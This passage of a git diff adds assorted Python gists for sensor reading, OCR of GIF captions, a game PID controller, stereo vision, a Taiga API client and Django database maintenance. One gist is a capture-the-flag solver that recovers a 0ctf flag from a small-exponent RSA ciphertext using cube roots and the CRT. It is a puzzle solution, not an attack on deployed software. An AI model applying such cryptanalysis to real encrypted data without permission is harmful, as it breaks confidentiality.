+        #data[2] ^= 0x80
+        return data[2] << 16 | data[1] << 8 | data[0]
+        '''
+
+    def read_average(self, times=3):
+        sum = 0
+        for i in range(times):
+            sum += self.read()
+
+        return sum / times
+
+    def get_value(self, times=3):
+        return self.read_average(times) - self.OFFSET
+
+    def get_units(self, times=3):
+        return self.get_value(times) / self.SCALE
+
+    def tare(self, times=15):
+        sum = self.read_average(times)
+        self.set_offset(sum)
+
+    def set_scale(self, scale):
+        self.SCALE = scale
+
+    def set_offset(self, offset):
+        self.OFFSET = offset
+
+    def power_down(self):
+        GPIO.output(self.PD_SCK, False)
+        GPIO.output(self.PD_SCK, True)
+
+    def power_up(self):
+        GPIO.output(self.PD_SCK, False)
+        
+############# EXAMPLE
+hx = HX711(9, 11)
+hx.set_scale(7050)
+hx.tare()
+
+while True:
+    try:
+        val = hx.get_units(3)
+        if val > 100:
+            print("OH NO")
+        #hx.power_down()
+        #time.sleep(.001)
+        #hx.power_up()
+    except (KeyboardInterrupt, SystemExit):
+        sys.exit()
\ No newline at end of file
diff --git a/hard-gists/98b4d7288a2ee7b1319a8ff71d3e2c7b/._snippet.py b/hard-gists/98b4d7288a2ee7b1319a8ff71d3e2c7b/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/98b4d7288a2ee7b1319a8ff71d3e2c7b/._snippet.py differ
diff --git a/hard-gists/98b4d7288a2ee7b1319a8ff71d3e2c7b/snippet.py b/hard-gists/98b4d7288a2ee7b1319a8ff71d3e2c7b/snippet.py
new file mode 100644
index 00000000..592aa528
--- /dev/null
+++ b/hard-gists/98b4d7288a2ee7b1319a8ff71d3e2c7b/snippet.py
@@ -0,0 +1,76 @@
+import io
+import math
+from difflib import SequenceMatcher
+
+from google.oauth2 import service_account
+from google.cloud import vision as GoogleVision
+from google.cloud.vision import types as GoogleTypes
+
+from PIL import Image, ImageSequence
+
+
+class GifCaptionExtractor(object):
+
+    def __init__(self):
+        self.client = self.get_api_client()
+
+    def get_api_client(self):
+        """Creates a scoped session for Google Cloud Vision"""
+        creds_json_path = '/path/to/google/account/creds.json'
+        creds = service_account.Credentials.from_service_account_file(creds_json_path)
+        scoped_credentials = creds.with_scopes(['https://www.googleapis.com/auth/cloud-platform'])
+        client = GoogleVision.ImageAnnotatorClient(credentials=scoped_credentials)
+        return client
+
+    def get_gif_frames(self, path):
+        """Returns percentage of a GIF's frames as local file paths"""
+        frame_percentage = .25
+        frame_paths = []
+        im = Image.open(path)
+        frame_count = 0
+        image_name = path.split('.')[0]
+        for frame in ImageSequence.Iterator(im):
+            frame_path = image_name + "-%s.gif" % frame_count
+            frame.save(frame_path)
+            frame_paths.append(frame_path)
+            frame_count += 1
+        denominator = math.floor(frame_count * frame_percentage)
+        frames_to_check = [path for idx, path in enumerate(frame_paths) if idx % denominator == 0]
+        frames_to_check.append(frame_paths[-1])
+        return frames_to_check
+
+    def get_ocr_data(self, path):
+        """Queries Google Cloud Vision OCR endpoint and returns normalized text string"""
+        with io.open(path, 'rb') as image_file:
+            content = image_file.read()
+            img_obj = GoogleTypes.Image(content=content)
+            img_results = self.client.text_detection(image=img_obj)
+            # google text annotations returns lots of things, but we only want description
+            # https://cloud.google.com/vision/docs/detecting-text#vision-text-detection-python
+            return img_results.text_annotations[0].description.lower().strip().replace('\n', ' ')
+
+    def get_caption_data(self, gif_path):
+        """Returns caption data from a GIF"""
+        frame_paths = self.get_gif_frames(gif_path)
+        caption_data = []
+        gif_caption = self.get_ocr_data(frame_paths[0])
+        frame_paths.pop(0)
+        if not gif_caption:
+            return ''
+        caption_data.append(gif_caption)
+        for idx, path in enumerate(frame_paths):
+            frame_text_results = self.get_ocr_data(path)
+            if frame_text_results:
+                frame_caption_text = frame_text_results
+                prev_caption_text = caption_data[-1]
+                text_similarity = SequenceMatcher(None, prev_caption_text, frame_caption_text).ratio()
+                if text_similarity < .60:
+                    caption_data.append(frame_caption_text)
+        return caption_data
+
+
+if __name__ == "__main__":
+    gif_path = "/path/to/example.gif"
+    caption_extractor = GifCaptionExtractor()
+    caption = caption_extractor.get_caption_data(gif_path)
+    print(" ".join([words for words in caption]))
\ No newline at end of file
diff --git a/hard-gists/98b59370a1d171817edb/._snippet.py b/hard-gists/98b59370a1d171817edb/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/98b59370a1d171817edb/._snippet.py differ
diff --git a/hard-gists/98b59370a1d171817edb/snippet.py b/hard-gists/98b59370a1d171817edb/snippet.py
new file mode 100644
index 00000000..68a3f379
--- /dev/null
+++ b/hard-gists/98b59370a1d171817edb/snippet.py
@@ -0,0 +1,86 @@
+import krpc
+import math
+import time
+
+# http://brettbeauregard.com/blog/2011/04/improving-the-beginners-pid-introduction/
+
+class PIDController(object):
+    """ A robust PID """
+
+    def __init__(self, input, setpoint, kp, ki, kd, outmin = 0, outmax = 0):
+        self.last_time = time.time()
+        self.i_term = 0
+        self.last_input = input
+        self.setparams(setpoint, kp, ki, kd, outmin, outmax)
+
+    def setparams(self, setpoint, kp, ki, kd, outmin = -float('inf'), outmax = float('inf')):
+        self.setpoint = setpoint
+        self.kp = kp
+        self.ki = ki
+        self.kd = kd
+        self.outmin = outmin
+        self.outmax = outmax
+        self.i_term = sorted((self.outmin, self.i_term, self.outmax))[1]
+
+    def update(self, input):
+        now = time.time()
+        time_change = now - self.last_time
+
+        if time_change < 0.05:
+            return 0
+
+        error = self.error(input)
+        self.i_term += self.ki * error * time_change
+        self.i_term = sorted((self.outmin, self.i_term, self.outmax))[1]
+        d_input = (input - self.last_input) / time_change
+
+        output = self.kp * error + self.i_term - self.kd * d_input
+        output = sorted((self.outmin, output, self.outmax))[1]
+
+        self.last_input = input
+        self.last_time = now
+
+        return output
+
+    def error(self, input):
+        return self.setpoint - input
+
+conn = krpc.connect()
+vessel = conn.space_center.active_vessel
+control = vessel.control
+control.roll = 0
+roll = conn.add_stream(getattr, vessel.flight(), 'roll')
+
+t = vessel.reaction_wheel_torque[2] # torque vector is pitch,heading,roll
+I = vessel.moment_of_inertia[1] # roll axis is in y-axis
+
+print 'Torque = %.2f Nm' % t
+print 'MoI    = %.2f kg/m^2' % I
+
+setpoint = 45 * (math.pi / 180.0)
+O = 0.01
+Tp = 3
+
+print 'Overshoot    = %.1f' % (O*100) + '%'
+print 'Time to peak = %.2f s' % Tp
+
+# tune Kp and Kd
+logO = math.log(O)
+z = math.sqrt((logO*logO) / (math.pi*math.pi + logO*logO))
+w = math.pi / (Tp * math.sqrt(1.0 - z*z))
+kp = (I * w * w) / t
+kd = (2 * z * w * I) / t
+
+print 'z  = %.2f' % z
+print 'w  = %.2f' % w
+print 'Kp = %.2f' % kp
+print 'Kd = %.2f' % kd
+
+# run control loop
+pid = PIDController(roll(), setpoint, kp, 0, kd, -1, 1)
+while True:
+    input = roll() * (math.pi / 180.0)
+    output = pid.update(input)
+    print 'input = %+.3f, setpoint = %.3f, error = %+.3f, output = %+.3f' % (input, setpoint, pid.error(input), output)
+    control.roll = output
+    time.sleep(0.1)
diff --git a/hard-gists/98b7edca1b29c949fcf1/._snippet.py b/hard-gists/98b7edca1b29c949fcf1/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/98b7edca1b29c949fcf1/._snippet.py differ
diff --git a/hard-gists/98b7edca1b29c949fcf1/snippet.py b/hard-gists/98b7edca1b29c949fcf1/snippet.py
new file mode 100644
index 00000000..5d054c6b
--- /dev/null
+++ b/hard-gists/98b7edca1b29c949fcf1/snippet.py
@@ -0,0 +1,144 @@
+# -*- coding: utf-8 -*-
+
+import argparse
+
+import cv2
+import numpy as np
+
+
+def calc_disparity(left_image, right_image):
+    window_size = 3
+    min_disp = 1
+    num_disp = 16*2
+    stereo = cv2.StereoSGBM(
+        minDisparity=min_disp,
+        numDisparities=num_disp,
+        SADWindowSize=window_size,
+        uniquenessRatio=10,
+        speckleWindowSize=100,
+        speckleRange=32,
+        disp12MaxDiff=1,
+        P1=8*3*window_size**2,
+        P2=32*3*window_size**2,
+        fullDP=False
+    )
+    return stereo.compute(left_image, right_image).astype(np.float32) / 16.0
+
+
+def remove_invalid(disp_arr, points, colors):
+    mask = (
+        (disp_arr > disp_arr.min()) &
+        np.all(~np.isnan(points), axis=1) &
+        np.all(~np.isinf(points), axis=1)
+    )
+    return points[mask], colors[mask]
+
+
+def calc_point_cloud(image, disp, q):
+    points = cv2.reprojectImageTo3D(disp, q).reshape(-1, 3)
+    colors = image.reshape(-1, 3)
+    return remove_invalid(disp.reshape(-1), points, colors)
+
+
+def project_points(points, colors, r, t, k, dist_coeff, width, height):
+    projected, _ = cv2.projectPoints(points, r, t, k, dist_coeff)
+    xy = projected.reshape(-1, 2).astype(np.int)
+    mask = (
+        (0 <= xy[:, 0]) & (xy[:, 0] < width) &
+        (0 <= xy[:, 1]) & (xy[:, 1] < height)
+    )
+    return xy[mask], colors[mask]
+
+
+def calc_projected_image(points, colors, r, t, k, dist_coeff, width, height):
+    xy, cm = project_points(points, colors, r, t, k, dist_coeff, width, height)
+    image = np.zeros((height, width, 3), dtype=colors.dtype)
+    image[xy[:, 1], xy[:, 0]] = cm
+    return image
+
+
+def rotate(arr, anglex, anglez):
+    return np.array([  # rx
+        [1, 0, 0],
+        [0, np.cos(anglex), -np.sin(anglex)],
+        [0, np.sin(anglex), np.cos(anglex)]
+    ]).dot(np.array([  # rz
+        [np.cos(anglez), 0, np.sin(anglez)],
+        [0, 1, 0],
+        [-np.sin(anglez), 0, np.cos(anglez)]
+    ])).dot(arr)
+
+
+def run(left_image, right_image, focal_length, tx):
+    image = right_image
+    height, width, _ = image.shape
+
+    disp = calc_disparity(left_image, right_image)
+
+    q = np.array([
+        [1, 0, 0, -width/2],
+        [0, 1, 0, -height/2],
+        [0, 0, 0, focal_length],
+        [0, 0, -1/tx, 0]
+    ])
+    points, colors = calc_point_cloud(image, disp, q)
+
+    r = np.eye(3)
+    t = np.array([0, 0, -100.0])
+    k = np.array([
+        [focal_length, 0, width/2],
+        [0, focal_length, height/2],
+        [0, 0, 1]
+    ])
+    dist_coeff = np.zeros((4, 1))
+
+    def view(r, t):
+        cv2.imshow('projected', calc_projected_image(
+            points, colors, r, t, k, dist_coeff, width, height
+        ))
+
+    view(r, t)
+
+    angles = {  # x, z
+        'w': (-np.pi/6, 0),
+        's': (np.pi/6, 0),
+        'a': (0, np.pi/6),
+        'd': (0, -np.pi/6)
+    }
+
+    while 1:
+        key = cv2.waitKey(0)
+
+        if key not in range(256):
+            continue
+
+        ch = chr(key)
+        if ch in angles:
+            ax, az = angles[ch]
+            r = rotate(r, -ax, -az)
+            t = rotate(t, ax, az)
+            view(r, t)
+
+        elif ch == '\x1b':  # esc
+            cv2.destroyAllWindows()
+            break
+
+
+def main():
+    parser = argparse.ArgumentParser()
+    parser.add_argument('left_image')
+    parser.add_argument('right_image')
+    parser.add_argument('focal_length', type=float)
+    parser.add_argument('distance_between_cameras', type=float)
+    args = parser.parse_args()
+
+    left_image = cv2.imread(args.left_image)
+    right_image = cv2.imread(args.right_image)
+    f = args.focal_length
+    tx = args.distance_between_cameras
+
+    run(left_image, right_image, f, tx)
+
+
+if __name__ == '__main__':
+    main()
diff --git a/hard-gists/98bb452dc14e8c40e403/._snippet.py b/hard-gists/98bb452dc14e8c40e403/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/98bb452dc14e8c40e403/._snippet.py differ
diff --git a/hard-gists/98bb452dc14e8c40e403/snippet.py b/hard-gists/98bb452dc14e8c40e403/snippet.py
new file mode 100644
index 00000000..b99506d2
--- /dev/null
+++ b/hard-gists/98bb452dc14e8c40e403/snippet.py
@@ -0,0 +1,30 @@
+from scryptos import *
+
+p1 = 32581479300404876772405716877547
+p2 = 27038194053540661979045656526063
+p3 = 26440615366395242196516853423447
+n = p1*p2*p3
+e = 3
+
+c = int(open("flag.enc", "rb").read().encode("hex"), 16)
+
+# from User's Guide to PARI/GP, nth_root function
+sqrtnall = 'sqrtnall(x,n)={my(V,r,z,r2);r=sqrtn(x,n,&z);if(!z,error("Impossible case in sqrtn"));if(type(x)=="t_INTMOD"||type(x)=="t_PADIC",r2 = r*z;n=1;while(r2!=r,r2*=z;n++));V=vector(n);V[1]=r;for(i=2,n,V[i]=V[i-1]*z);V}'
+
+c1 = eval(parigp([sqrtnall, "Vec(liftall(sqrtnall(Mod(%d, %d), 3)))" % (c, p1)]))
+c2 = eval(parigp([sqrtnall, "Vec(liftall(sqrtnall(Mod(%d, %d), 3)))" % (c, p2)]))
+c3 = eval(parigp([sqrtnall, "Vec(liftall(sqrtnall(Mod(%d, %d), 3)))" % (c, p3)]))
+
+"""
+c1 = [6149264605288583791069539134541, 13404203109409336045283549715377, 13028011585706956936052628027629]
+c2 = [19616973567618515464515107624812]
+c3 = [13374868592866626517389128266735, 7379361747422713811654086477766, 5686385026105901867473638678946]
+"""
+
+for x in c1:
+  for y in c2:
+    for z in c3:
+      crt = chinese_remainder_theorem([(x, p1), (y, p2), (z, p3)])
+      d = hex(crt, 2)[2:].decode("hex")
+      if "0ctf" in d:
+        print d[d.find("0ctf"):].strip()
diff --git a/hard-gists/9901745/._snippet.py b/hard-gists/9901745/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/9901745/._snippet.py differ
diff --git a/hard-gists/9901745/snippet.py b/hard-gists/9901745/snippet.py
new file mode 100644
index 00000000..847b6945
--- /dev/null
+++ b/hard-gists/9901745/snippet.py
@@ -0,0 +1,15 @@
+from osgeo import ogr
+from osgeo import osr
+
+source = osr.SpatialReference()
+source.ImportFromEPSG(4326)
+
+target = osr.SpatialReference()
+target.ImportFromEPSG(3857)
+
+transform = osr.CoordinateTransformation(source, target)
+
+geojson = """{ "type": "LineString", "coordinates": [ [ -75.313585, 43.069271 ], [ -75.269426, 43.114027 ], [ -75.158731, 43.114325 ] ] }"""
+geom = ogr.CreateGeometryFromJson(geojson)
+geom.Transform(transform)
+print "Length = %d" % geom.Length() + " meters"
\ No newline at end of file
diff --git a/hard-gists/990d3653c5803927cbb6/._snippet.py b/hard-gists/990d3653c5803927cbb6/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/990d3653c5803927cbb6/._snippet.py differ
diff --git a/hard-gists/990d3653c5803927cbb6/snippet.py b/hard-gists/990d3653c5803927cbb6/snippet.py
new file mode 100644
index 00000000..f4621d22
--- /dev/null
+++ b/hard-gists/990d3653c5803927cbb6/snippet.py
@@ -0,0 +1,409 @@
+from urllib.parse import urljoin
+from getpass import getpass
+import json
+import requests
+
+from collections import OrderedDict
+from datetime import datetime
+import csv
+
+
+class BaseClient(object):
+    """ The base class for an API client. """
+
+    BASE_HEADERS = {
+        "content-type": "application/json; charset: utf8",
+        "X-DISABLE-PAGINATION": "true",
+    }
+
+    def __init__(self, host):
+        self._host = host
+        self._headers = self.BASE_HEADERS
+        self.last_error = {}
+
+    def _get(self, url, params):
+        response = requests.get(url, params=params,
+                                headers=self._headers)
+        data = json.loads(response.content.decode())
+
+        if response.status_code == 200:
+            return data
+
+        self.last_error = {
+            "status_code": response.status_code,
+            "detail": response.content
+        }
+        print(self.last_error)
+        return None
+
+    def _post(self, url, data_dict, params):
+        rdata = json.dumps(data_dict)
+
+        response = requests.post(url, data=rdata, params=params,
+                                 headers=self._headers)
+
+        if response.status_code in [200, 201]:
+            data = json.loads(response.content.decode())
+            return data
+        elif response.status_code == 204: # No content
+            return True
+        else:
+            data = json.loads(response.content.decode())
+
+        self.last_error = {
+            "status_code": response.status_code,
+            "detail": response.content
+        }
+        print(self.last_error)
+        return None
+
+    def _patch(self, url, data_dict, params):
+        rdata = json.dumps(data_dict)
+
+        response = requests.patch(url, data=rdata, params=params,
+                                  headers=self._headers)
+        data = json.loads(response.content.decode())
+
+        if response.status_code == 200:
+            return data
+
+        self.last_error = {
+            "status_code": response.status_code,
+            "detail": response.content
+        }
+        print(self.last_error)
+        return None
+
+    def _delete(self, url, params):
+        response = requests.delete(url, params=params, headers=self._headers)
+
+        if response.status_code == 204:
+            return True
+
+        data = json.loads(response.content.decode())
+
+        self.last_error = {
+            "status_code": response.status_code,
+            "detail": response.content
+        }
+        print(self.last_error)
+        return None
+
+
+class TaigaClient(BaseClient):
+    """ A Taiga Api Client.
+
+    >>> from taiga_ncurses.api.client import *
+    >>> api = TaigaClient("http://localhost:8000")
+    >>> api.login("admin", "123123")
+    {...}
+    >>> api.get_projects()
+    [...]
+    >>> api.get_project(1)
+    {...}
+    >>> api.get_user_stories(params={'project': 1})
+    [...]
+    >>> api.get_issue(1234)
+    None
+    >>> api.last_error
+    {'detail': 'Not found', 'status_code': 404}
+
+    """
+
+    URLS = {
+        "auth": "/api/v1/auth",
+        "users": "/api/v1/users",
+        "user":  "/api/v1/users/{}",
+        "projects": "/api/v1/projects",
+        "project":  "/api/v1/projects/{}",
+        "project-stats": "/api/v1/projects/{}/stats",
+        "project-issues-stats": "/api/v1/projects/{}/issues_stats",
+        "milestones": "/api/v1/milestones",
+        "milestone":  "/api/v1/milestones/{}",
+        "milestone-stats":  "/api/v1/milestones/{}/stats",
+        "user_stories": "/api/v1/userstories",
+        "user_stories_bulk_create": "/api/v1/userstories/bulk_create",
+        "user_stories_bulk_update_order": "/api/v1/userstories/bulk_update_order",
+        "user_story":  "/api/v1/userstories/{}",
+        "tasks": "/api/v1/tasks",
+        "task":  "/api/v1/tasks/{}",
+        "issues": "/api/v1/issues",
+        "issue":  "/api/v1/issues/{}",
+        "wiki_pages": "/api/v1/wiki",
+        "wiki_page":  "/api/v1/wiki/{}"
+    }
+
+    # AUTHENTICATIONS
+    @property
+    def is_authenticated(self):
+        return "Authorization" in self._headers
+
+    def set_auth_token(self, auth_token):
+        self._headers["Authorization"] = "Bearer {}".format(auth_token)
+
+    def login(self, username, password, params={}):
+        url = urljoin(self._host, self.URLS.get("auth"))
+        data_dict = {
+            "username": username,
+            "password": password,
+            "type": "normal"
+        }
+        data = self._post(url, data_dict, params)
+
+        if data and "auth_token" in data:
+            self.set_auth_token(data["auth_token"])
+        return data
+
+    def logout(self):
+        self._headers = self.BASE_HEADERS
+        return True
+
+    # USER
+
+    def get_users(self, params={}):
+        url = urljoin(self._host, self.URLS.get("users"))
+        return self._get(url, params)
+
+    def update_user(self, id, data_dict={}, params={}):
+        url = urljoin(self._host, self.URLS.get("user").format(id))
+        return self._patch(url, data_dict, params)
+
+    def get_user(self, id, params={}):
+        url = urljoin(self._host, self.URLS.get("user").format(id))
+        return self._get(url, params)
+
+    # PROJECT
+
+    def get_projects(self, params={}):
+        url = urljoin(self._host, self.URLS.get("projects"))
+        return self._get(url, params)
+
+    def create_project(self, data_dict={}, params={}):
+        url = urljoin(self._host, self.URLS.get("projects"))
+        return self._post(url, data_dict, params)
+
+    def update_project(self, id, data_dict={}, params={}):
+        url = urljoin(self._host, self.URLS.get("project").format(id))
+        return self._patch(url, data_dict, params)
+
+    def get_project(self, id, params={}):
+        url = urljoin(self._host, self.URLS.get("project").format(id))
+        return self._get(url, params)
+
+    def delete_project(self, id, params={}):
+        url = urljoin(self._host, self.URLS.get("project").format(id))
+        return self._delete(url, params)
+
+    def get_project_stats(self, id, params={}):
+        url = urljoin(self._host, self.URLS.get("project-stats").format(id))
+        return self._get(url, params)
+
+    def get_project_issues_stats(self, id, params={}):
+        url = urljoin(self._host, self.URLS.get("project-issues-stats").format(id))
+        return self._get(url, params)
+
+    # MILESTONE
+
+    def get_milestones(self, params={}):
+        url = urljoin(self._host, self.URLS.get("milestones"))
+        return self._get(url, params)
+
+    def create_milestone(self, data_dict={}, params={}):
+        url = urljoin(self._host, self.URLS.get("milestones"))
+        return self._post(url, data_dict, params)
+
+    def update_milestone(self, id, data_dict={}, params={}):
+        url = urljoin(self._host, self.URLS.get("milestone").format(id))
+        return self._patch(url, data_dict, params)
+
+    def get_milestone(self, id, params={}):
+        url = urljoin(self._host, self.URLS.get("milestone").format(id))
+        return self._get(url, params)
+
+    def delete_milestone(self, id, params={}):
+        url = urljoin(self._host, self.URLS.get("milestone").format(id))
+        return self._delete(url, params)
+
+    def get_milestone_stats(self, id, params={}):
+        url = urljoin(self._host, self.URLS.get("milestone-stats").format(id))
+        return self._get(url, params)
+
+
+    # USER STORY
+
+    def get_user_stories(self, params={}):
+        url = urljoin(self._host, self.URLS.get("user_stories"))
+        return self._get(url, params)
+
+    def update_user_stories_order(self, data_dict={}, params={}):
+        url = urljoin(self._host, self.URLS.get("user_stories_bulk_update_order"))
+        return self._post(url, data_dict, params)
+
+    def create_user_stories_in_bulk(self, data_dict={}, params={}):
+        url = urljoin(self._host, self.URLS.get("user_stories_bulk_create"))
+        return self._post(url, data_dict, params)
+
+    def create_user_story(self, data_dict={}, params={}):
+        url = urljoin(self._host, self.URLS.get("user_stories"))
+        return self._post(url, data_dict, params)
+
+    def update_user_story(self, id, data_dict={}, params={}):
+        url = urljoin(self._host, self.URLS.get("user_story").format(id))
+        return self._patch(url, data_dict, params)
+
+    def get_user_story(self, id, params={}):
+        url = urljoin(self._host, self.URLS.get("user_story").format(id))
+        return self._get(url, params)
+
+    def delete_user_story(self, id, params={},):
+        url = urljoin(self._host, self.URLS.get("user_story").format(id))
+        return self._delete(url, params)
+
+    # TASK
+
+    def get_tasks(self, params={}):
+        url = urljoin(self._host, self.URLS.get("tasks"))
+        return self._get(url, params)
+
+    def create_task(self, data_dict={}, params={}):
+        url = urljoin(self._host, self.URLS.get("tasks"))
+        return self._post(url, data_dict, params)
+
+    def update_task(self, id, data_dict={}, params={}):
+        url = urljoin(self._host, self.URLS.get("task").format(id))
+        return self._patch(url, data_dict, params)
+
+    def get_task(self, id, params={}):
+        url = urljoin(self._host, self.URLS.get("task").format(id))
+        return self._get(url, params)
+
+    def delete_task(self, id, params={}):
+        url = urljoin(self._host, self.URLS.get("task").format(id))
+        return self._delete(url, params)
+
+    # ISSUE
+
+    def get_issues(self, params={}):
+        url = urljoin(self._host, self.URLS.get("issues"))
+        return self._get(url, params)
+
+    def create_issue(self, data_dict={}, params={}):
+        url = urljoin(self._host, self.URLS.get("issues"))
+        return self._post(url, data_dict, params)
+
+    def update_issue(self, id, data_dict={}, params={}):
+        url = urljoin(self._host, self.URLS.get("issue").format(id))
+        return self._patch(url, data_dict, params)
+
+    def get_issue(self, id, params={}):
+        url = urljoin(self._host, self.URLS.get("issue").format(id))
+        return self._get(url, params)
+
+    def delete_issue(self, id, params={}):
+        url = urljoin(self._host, self.URLS.get("issue").format(id))
+        return self._delete(url, params)
+
+    # WIKI PAGE
+
+    def get_wiki_pages(self, params={}):
+        url = urljoin(self._host, self.URLS.get("wiki_pages"))
+        return self._get(url, params)
+
+    def create_wiki_page(self, data_dict={}, params={}):
+        url = urljoin(self._host, self.URLS.get("wiki_pages"))
+        return self._post(url, data_dict, params)
+
+    def update_wiki_page(self, id, data_dict={}, params={}):
+        url = urljoin(self._host, self.URLS.get("wiki_page").format(id))
+        return self._patch(url, data_dict, params)
+
+    def get_wiki_page(self, id, params={}):
+        url = urljoin(self._host, self.URLS.get("wiki_page").format(id))
+        return self._get(url, params)
+
+    def delete_wiki_page(self, id, params={}):
+        url = urljoin(self._host, self.URLS.get("wiki_page").format(id))
+        return self._delete(url, params)
+
+
+def user_stories_ordered_like_kanban(user_stories, us_statuses):
+    uss = sorted(user_stories, key=lambda u: u["kanban_order"] or 0)
+    data = []
+    for status_id in us_statuses.keys():
+        data += [us for us in uss if us["status"] == int(status_id)]
+    return data
+
+def computable_roles_dict(project):
+    dc = {str(r["id"]): r for r in project.get("roles", []) if r["computable"]} if "roles" in project else {}
+    return OrderedDict(sorted(dc.items(), key=lambda t: t[1]["order"] ))
+
+def active_memberships_dict(project):
+    dc = {str(r["user"]): r for r in project.get("active_memberships", [])} if "active_memberships" in project else {}
+    return OrderedDict(sorted(dc.items(), key=lambda t: t[1].get("full_name", "") ))
+
+def us_statuses_dict(project):
+    dc = {str(p["id"]): p for p in project.get("us_statuses", [])}
+    return OrderedDict(sorted(dc.items(), key=lambda t: t[1]["order"]))
+
+def us_points_dict(project):
+    dc = {str(p["id"]): p for p in project.get("points", [])}
+    return OrderedDict(sorted(dc.items(), key=lambda t: t[1]["order"] ))
+
+
+SERVER = "https://api.taiga.io"
+
+if __name__ == "__main__":
+
+    api = TaigaClient(SERVER)
+
+    usr = input("Username: ")
+    pwd = getpass("Password: ")
+
+    api.login(usr, pwd)
+
+    print("\nList All project (_id_: _name_):\n")
+    projects = api.get_projects()
+    for p in projects:
+        print("\t{}: {}".format(p["id"], p["name"]))
+    project_id = int(input("\nSelect a project. Type an ID:"))
+
+    project = api.get_project(project_id)
+    roles = computable_roles_dict(project)
+    memberships = active_memberships_dict(project)
+    us_statuses = us_statuses_dict(project)
+    us_points = us_points_dict(project)
+
+    print("\nGenerating CSV file...")
+    user_stories = api.get_user_stories(params={"project": project_id, "milestone": None})
+    user_stories = user_stories_ordered_like_kanban(user_stories, us_statuses)
+
+    with open("{}.kanban-{}.csv".format(project["slug"], "{}".format(datetime.now())), "w") as csv_file:
+        writer = csv.writer(csv_file, delimiter="\t", quotechar="|")
+
+        data = []
+        data.append("Ref")
+        data.append("Subject")
+        data.append("Status")
+        for role in roles.values():
+            data.append("{} Points".format(role.get("name", "NaN")))
+        data.append("Total Points")
+        data.append("Assigned to")
+        data.append("Description")
+
+        writer.writerow(data)
+
+        for us in user_stories:
+            data = []
+            data.append(us["ref"])
+            data.append(us["subject"])
+            data.append(us_statuses.get(str(us.get("status", "NaN")), {}).get("name", ""))
+            for id, role in roles.items():
+                points_id = us.get("points", {}).get(id, 0)
+                data.append(us_points.get(str(points_id), {}).get("value", 0) or "?")
+            data.append(us["total_points"])
+            data.append(memberships.get(str(us.get("assigned_to", "NaN")), {}).get("full_name", ""))
+            data.append(us["description"])
+
+            writer.writerow(data)
+
+    print("...done  :-)")
diff --git a/hard-gists/9927923/._snippet.py b/hard-gists/9927923/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/9927923/._snippet.py differ
diff --git a/hard-gists/9927923/snippet.py b/hard-gists/9927923/snippet.py
new file mode 100644
index 00000000..572160d4
--- /dev/null
+++ b/hard-gists/9927923/snippet.py
@@ -0,0 +1,72 @@
+import numpy as np
+import pdb
+
+from sklearn.datasets import make_classification
+from sklearn.mixture import GMM
+
+
+def fisher_vector(xx, gmm):
+    """Computes the Fisher vector on a set of descriptors.
+
+    Parameters
+    ----------
+    xx: array_like, shape (N, D) or (D, )
+        The set of descriptors
+
+    gmm: instance of sklearn mixture.GMM object
+        Gauassian mixture model of the descriptors.
+
+    Returns
+    -------
+    fv: array_like, shape (K + 2 * D * K, )
+        Fisher vector (derivatives with respect to the mixing weights, means
+        and variances) of the given descriptors.
+
+    Reference
+    ---------
+    J. Krapac, J. Verbeek, F. Jurie.  Modeling Spatial Layout with Fisher
+    Vectors for Image Categorization.  In ICCV, 2011.
+    http://hal.inria.fr/docs/00/61/94/03/PDF/final.r1.pdf
+
+    """
+    xx = np.atleast_2d(xx)
+    N = xx.shape[0]
+
+    # Compute posterior probabilities.
+    Q = gmm.predict_proba(xx)  # NxK
+
+    # Compute the sufficient statistics of descriptors.
+    Q_sum = np.sum(Q, 0)[:, np.newaxis] / N
+    Q_xx = np.dot(Q.T, xx) / N
+    Q_xx_2 = np.dot(Q.T, xx ** 2) / N
+
+    # Compute derivatives with respect to mixing weights, means and variances.
+    d_pi = Q_sum.squeeze() - gmm.weights_
+    d_mu = Q_xx - Q_sum * gmm.means_
+    d_sigma = (
+        - Q_xx_2
+        - Q_sum * gmm.means_ ** 2
+        + Q_sum * gmm.covars_
+        + 2 * Q_xx * gmm.means_)
+
+    # Merge derivatives into a vector.
+    return np.hstack((d_pi, d_mu.flatten(), d_sigma.flatten()))
+
+
+def main():
+    # Short demo.
+    K = 64
+    N = 1000
+
+    xx, _ = make_classification(n_samples=N)
+    xx_tr, xx_te = xx[: -100], xx[-100: ]
+
+    gmm = GMM(n_components=K, covariance_type='diag')
+    gmm.fit(xx_tr)
+
+    fv = fisher_vector(xx_te, gmm)
+    pdb.set_trace()
+
+
+if __name__ == '__main__':
+    main()
\ No newline at end of file
diff --git a/hard-gists/994260/._snippet.py b/hard-gists/994260/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/994260/._snippet.py differ
diff --git a/hard-gists/994260/snippet.py b/hard-gists/994260/snippet.py
new file mode 100644
index 00000000..56d19fa2
--- /dev/null
+++ b/hard-gists/994260/snippet.py
@@ -0,0 +1,42 @@
+"""
+remove_foreign_keys.py
+
+Removes all the foreign key constraints in a django project's MySQL database.
+
+NO FOREIGN KEYS = NO FOREIGN KEY HEADACHES 
+(of course if you are using anything other than the django ORM its likely to cause other headaches)
+
+Before running this script be sure your django settings module is available
+to your environment.
+
+export DJANGO_SETTINGS_MODULE=yoursite.settings
+"""
+
+import logging
+from django.conf import settings
+
+
+def get_foreign_key_names(database_name):
+    from django.db import connection
+    cursor = connection.cursor()
+
+    cursor.execute("SELECT `table_schema`, `table_name`, `constraint_name` FROM information_schema.table_constraints WHERE constraint_type = 'FOREIGN KEY' AND table_schema = %s;", [database_name])
+    return cursor.fetchall()
+
+def remove_foreign_key(schema_name, table_name, key_name):
+    from django.db import connection, transaction
+    cursor = connection.cursor()
+
+    logging.info("Removing foreign key %s from %s.%s" % (key_name, schema_name, table_name))
+    sql = "ALTER TABLE %s.%s DROP FOREIGN KEY %s;" %  (schema_name, table_name, key_name)
+    cursor.execute(sql)
+    transaction.commit_unless_managed()
+
+def remove_all_foreign_keys(database_name):
